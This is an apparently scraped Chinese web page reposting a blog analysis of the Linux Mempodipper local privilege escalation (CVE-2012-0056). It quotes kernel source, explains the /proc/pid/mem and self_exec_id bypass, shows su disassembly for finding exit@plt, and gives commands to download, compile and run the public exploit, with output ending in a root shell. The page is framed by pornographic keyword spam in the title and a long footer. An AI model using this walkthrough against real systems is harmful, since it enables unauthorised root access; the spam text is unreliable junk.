校园春色亚洲色图_亚洲视频分类_中文字幕精品一区二区精品_麻豆一区区三区四区产品精品蜜桃

主頁 > 知識庫 > Linux>=2.6.39 Mempodipper本地提權(quán)分析和EXP利用(CVE-2012-0056)

Linux>=2.6.39 Mempodipper本地提權(quán)分析和EXP利用(CVE-2012-0056)

熱門標(biāo)簽:佛山外呼系統(tǒng)平臺 長春外呼系統(tǒng)價(jià)格 電銷機(jī)器人的效果 南寧智能外呼系統(tǒng)線路商 聯(lián)客智能語音外呼系統(tǒng)賬號格式 長沙智能外呼系統(tǒng)中心 南昌語音外呼系統(tǒng)代理 成都移動(dòng)外呼系統(tǒng) 美圖手機(jī)

Linux>=2.6.39 Mempodipper本地提權(quán)分析和EXP利用(CVE-2012-0056)
 /proc/pid/mem是一個(gè)用于讀取和寫入,直接通過各地尋求與相同的地址作為該進(jìn)程的虛擬內(nèi)存空間進(jìn)程內(nèi)存的接口。
  
 影響Linux 內(nèi)核> = 2.6.39
 當(dāng)打開/proc/pid/mem時(shí),會調(diào)用此內(nèi)核代碼:

復(fù)制代碼
代碼如下:

static int mem_open(struct inode* inode, struct file* file)
{
file->private_data = (void*)((long)current->self_exec_id);
file->f_mode |= FMODE_UNSIGNED_OFFSET;
return 0;
}

 任何人都可以打開/proc/pid/mem fd 的任何進(jìn)程寫入 和讀取,不過,有權(quán)限檢查限制。讓我們看看寫功能:
 
復(fù)制代碼
代碼如下:

static ssize_t mem_write(struct file * file, const char __user *buf,
size_t count, loff_t *ppos)
{
struct task_struct *task = get_proc_task(file->f_path.dentry->d_inode);
mm = check_mem_permission(task);
copied = PTR_ERR(mm);
if (IS_ERR(mm))
goto out_free;
if (file->private_data != (void *)((long)current->self_exec_id))
goto out_mm;

 看代碼有兩個(gè)檢查,以防止未經(jīng)授權(quán)的寫操作:
 
復(fù)制代碼
代碼如下:

check_mem_permission和self_exec_id。
Check_mem_permission的代碼只需調(diào)用到__check_mem_permission,代碼:
static struct mm_struct *__check_mem_permission(struct task_struct *task)
{
struct mm_struct *mm;
mm = get_task_mm(task);
if (!mm)
return ERR_PTR(-EINVAL);
if (task == current)
return mm;
if (task_is_stopped_or_traced(task)) {
int match;
rcu_read_lock();
match = (ptrace_parent(task) == current);
rcu_read_unlock();
if (match ptrace_may_access(task, PTRACE_MODE_ATTACH))
return mm;
}
mmput(mm);
return ERR_PTR(-EPERM);
}

 有兩種方法能對內(nèi)存寫入。
 
復(fù)制代碼
代碼如下:

$ su "hsmw fuck you"
Unknown id: hsmw fuck you
可以看到su的stderr 的輸出“Unknown id:”,我們可以fd 打開/proc/self/mem, 來確定在內(nèi)存中的位置, 然后dup2 stderr 和mem fd, 把su $shellcode 寫入到內(nèi)存中,獲得root.
已task == current測試, 用self_exec_id 匹配self_exec_id 來檢測fd 的打開。
Self_exec_id在內(nèi)核中只引用的少數(shù)幾個(gè)地方。
void setup_new_exec(struct linux_binprm * bprm)
{
current->self_exec_id++;
flush_signal_handlers(current, 0);
flush_old_files(current->files);
}
EXPORT_SYMBOL(setup_new_exec);

 我們創(chuàng)建一個(gè)子進(jìn)程,用self_exec_id來exec 到一個(gè)新的進(jìn)程里面。當(dāng)我們exec一個(gè)新的進(jìn)程,self_exec_id會產(chǎn)生一個(gè)增量。這里程序忙與execing到我們的shellcode寫su,所以其self_exec_id得到 相同的值遞增。所以我們要做的是把exec一個(gè)新的進(jìn)程,fd /proc/parent-pid/mem 到父進(jìn)程的PID。這個(gè)時(shí)候的FD是因?yàn)闆]有權(quán)限僅僅打開檢查。當(dāng)它被打開,其self_exec_id來時(shí)起作用,把我們exec來su,用self_exec_id將遞增。通過我們打開的FD從子進(jìn)程返回父進(jìn)程,dup2,和exec 溢出代碼到su.
 接下來調(diào)試溢出的地址和ASLR隨機(jī)進(jìn)程的空間地址。
 在這里得到錯(cuò)誤字符串:
  403677:       ba 05 00 00 00          mov    $0x5,%edx
   40367c:       be ff 64 40 00          mov    $0x4064ff,%esi
   403681:       31 ff                   xor    %edi,%edi
   403683:       e8 e0 ed ff ff          callq  402468 (dcgettext@plt)
 然后把它寫入到stderr:
  403688:       48 8b 3d 59 51 20 00    mov    0x205159(%rip),%rdi        # 6087e8 (stderr)
   40368f:       48 89 c2                mov    %rax,%rdx
   403692:       b9 20 88 60 00          mov    $0x608820,%ecx
   403697:       be 01 00 00 00          mov    $0x1,%esi
   40369c:       31 c0                   xor    %eax,%eax
   40369e:       e8 75 ea ff ff          callq  402118 (__fprintf_chk@plt)
 關(guān)閉日志;
 4036a3:       e8 f0 eb ff ff          callq  402298 (closelog@plt)
 退出程序;
  4036a8:       bf 01 00 00 00          mov    $0x1,%edi
   4036ad:       e8 c6 ea ff ff          callq  402178 (exit@plt)
 這里可以看到0×402178,這是它調(diào)用exit函數(shù)。我們來調(diào)試“Unknown id:" 的shellcode地址。
 $objdump -d /bin/su|grep 'exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'  0x402178
 它會設(shè)置uid 和gid 為0 去執(zhí)行一個(gè)SHELL。還可以重新打開dup2ing 內(nèi)存之前,stderr fd 到stderr,
 我們選擇另一個(gè)fd dup stderr,在shellcode,到我們dup2 ,其他fd回來到stderr。
 EXP 老外寫好了。插入一段
 
復(fù)制代碼
代碼如下:

wget http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c
CVE-2012-0056 $ ls
build-and-run-exploit.sh build-and-run-shellcode.sh mempodipper.c shellcode-32.s shellcode-64.s
CVE-2012-0056 $ gcc mempodipper.c -o mempodipper
CVE-2012-0056 $ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/6454/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402178.
[+] Seeking to offset 0x40216c.
[+] Executing su with shellcode.
sh-4.2# whoami
root
sh-4.2#

摘自 混世魔王博客

標(biāo)簽:邵陽 慶陽 云浮 阜陽 法律服務(wù) 新鄉(xiāng) 沈陽 東營

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《Linux>=2.6.39 Mempodipper本地提權(quán)分析和EXP利用(CVE-2012-0056)》,本文關(guān)鍵詞  Linux,2.6.39,Mempodipper,本地,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《Linux>=2.6.39 Mempodipper本地提權(quán)分析和EXP利用(CVE-2012-0056)》相關(guān)的同類信息!
  • 本頁收集關(guān)于Linux>=2.6.39 Mempodipper本地提權(quán)分析和EXP利用(CVE-2012-0056)的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章
    校园春色亚洲色图_亚洲视频分类_中文字幕精品一区二区精品_麻豆一区区三区四区产品精品蜜桃
    在线观看国产91| 国产在线一区二区综合免费视频| 亚洲国产欧美一区二区三区丁香婷| 亚洲成a人片在线观看中文| 久热成人在线视频| 成人一级片网址| 欧美日韩精品一区二区三区四区| 精品盗摄一区二区三区| 中文字幕中文字幕在线一区 | 成人性生交大片免费看视频在线 | 亚洲国产成人自拍| 亚洲国产成人porn| 国产美女精品人人做人人爽| 91一区二区三区在线播放| 欧美精品 国产精品| 欧美激情一区三区| 日产精品久久久久久久性色| 成人a免费在线看| 欧美一卡二卡三卡四卡| 中文字幕乱码日本亚洲一区二区| 日韩精品视频网站| 91视视频在线观看入口直接观看www | 91精品视频网| 最近日韩中文字幕| 看片的网站亚洲| 在线看不卡av| 中文文精品字幕一区二区| 午夜影院久久久| 成人avav影音| 精品国产乱码久久久久久老虎| 亚洲人xxxx| 国产精品亚洲第一 | 激情综合网最新| 精品婷婷伊人一区三区三| 日本一区二区视频在线观看| 视频一区二区欧美| 色8久久精品久久久久久蜜| 国产喷白浆一区二区三区| 青青草原综合久久大伊人精品优势| 色又黄又爽网站www久久| 国产日本欧美一区二区| 久久99精品国产麻豆不卡| 欧美亚洲另类激情小说| 国产精品久久三区| 国产一区不卡在线| 欧美一区二区在线看| 一区二区三区蜜桃网| 91在线丨porny丨国产| 久久精品一区八戒影视| 毛片av中文字幕一区二区| 欧美日韩五月天| 亚洲日本青草视频在线怡红院 | 日本一区二区三区在线不卡| 韩国理伦片一区二区三区在线播放| 在线播放视频一区| 亚洲综合一区二区三区| 91在线观看地址| **性色生活片久久毛片| 成人午夜激情视频| 国产视频一区在线播放| 国内久久精品视频| 精品成人一区二区三区| 毛片av一区二区| 欧美草草影院在线视频| 蜜桃视频一区二区三区| 欧美一区午夜视频在线观看| 日韩制服丝袜av| 欧美日韩国产精品成人| 亚洲成人av一区二区| 欧美日韩精品二区第二页| 亚洲国产va精品久久久不卡综合| 欧美影院精品一区| 亚洲第一会所有码转帖| 欧美日韩免费观看一区二区三区| 夜夜精品视频一区二区| 欧美日韩小视频| 奇米精品一区二区三区在线观看| 91精品国产综合久久久久久久 | 久久五月婷婷丁香社区| 激情文学综合网| 久久嫩草精品久久久久| 国产精品一级在线| 国产精品久久国产精麻豆99网站| 成人精品高清在线| 中文字幕亚洲视频| 在线免费观看一区| 丝袜亚洲另类丝袜在线| 欧美变态口味重另类| 国产iv一区二区三区| 国产精品久久久久一区二区三区 | 亚洲欧美在线aaa| 一本在线高清不卡dvd| 亚洲成人综合视频| 日韩精品一区二区三区四区视频| 激情文学综合插| 国产精品日韩成人| 色综合中文字幕| 性做久久久久久久免费看| 日韩精品在线看片z| 成人午夜激情在线| 亚洲一区二区视频在线观看| 制服.丝袜.亚洲.另类.中文| 国产主播一区二区三区| 国产精品久久久久影院| 精品视频999| 国产精品一区不卡| 亚洲蜜臀av乱码久久精品蜜桃| 欧美日韩国产不卡| 国产老肥熟一区二区三区| 亚洲美女偷拍久久| 日韩欧美另类在线| av中文字幕亚洲| 亚洲超丰满肉感bbw| www激情久久| 色综合网站在线| 免费人成精品欧美精品| 国产精品久久影院| 欧美一级久久久| av电影天堂一区二区在线 | 精品99一区二区| 91片在线免费观看| 久久99精品国产麻豆不卡| 中文字幕佐山爱一区二区免费| 制服丝袜国产精品| 99精品一区二区| 久久精品二区亚洲w码| 最近日韩中文字幕| 精品国产乱码久久久久久久 | 午夜欧美2019年伦理| 国产亚洲一区字幕| 欧美精品成人一区二区三区四区| 国产99久久久国产精品| 日韩电影在线观看网站| 一区在线播放视频| www一区二区| 欧美老女人在线| 91麻豆精东视频| 国产成人午夜视频| 免费看黄色91| 亚洲已满18点击进入久久| 国产精品网站在线观看| 717成人午夜免费福利电影| 91农村精品一区二区在线| 国产综合色视频| 午夜欧美电影在线观看| 亚洲人成在线播放网站岛国| 国产亚洲精品bt天堂精选| 制服视频三区第一页精品| 色先锋aa成人| 成人黄色软件下载| 国产一区二区三区久久悠悠色av| 亚洲va在线va天堂| 亚洲色图丝袜美腿| 欧美国产激情二区三区| 2023国产精品视频| 3d动漫精品啪啪1区2区免费 | 午夜精品福利一区二区蜜股av| 国产精品美女久久福利网站| 久久在线观看免费| 91精品国产麻豆| 欧美日韩精品一区二区三区| 日本道色综合久久| 99久久777色| 9人人澡人人爽人人精品| 国产精品综合久久| 激情综合一区二区三区| 久久精品99国产国产精| 日韩av电影天堂| 日韩黄色在线观看| 五月天国产精品| 午夜免费久久看| 亚洲福利电影网| 亚洲无线码一区二区三区| 亚洲精品ww久久久久久p站| 成人欧美一区二区三区视频网页| 国产精品亲子乱子伦xxxx裸| 国产日韩精品一区| 国产视频一区不卡| 久久色视频免费观看| 337p粉嫩大胆色噜噜噜噜亚洲| 日韩一区二区免费高清| 日韩免费观看高清完整版在线观看| 欧美一区二区三区影视| 777精品伊人久久久久大香线蕉| 69久久99精品久久久久婷婷| 欧美精品日韩一本| 欧美疯狂性受xxxxx喷水图片| 欧美日韩午夜在线视频| 91精品国产91久久综合桃花| 日韩免费高清av| 久久网这里都是精品| 欧美国产97人人爽人人喊| 国产精品成人免费精品自在线观看 | 乱一区二区av| 国产剧情一区二区| 国产91对白在线观看九色| 成人福利视频网站| 色综合久久久久久久| 欧美日韩高清在线| 精品国产乱码久久久久久图片|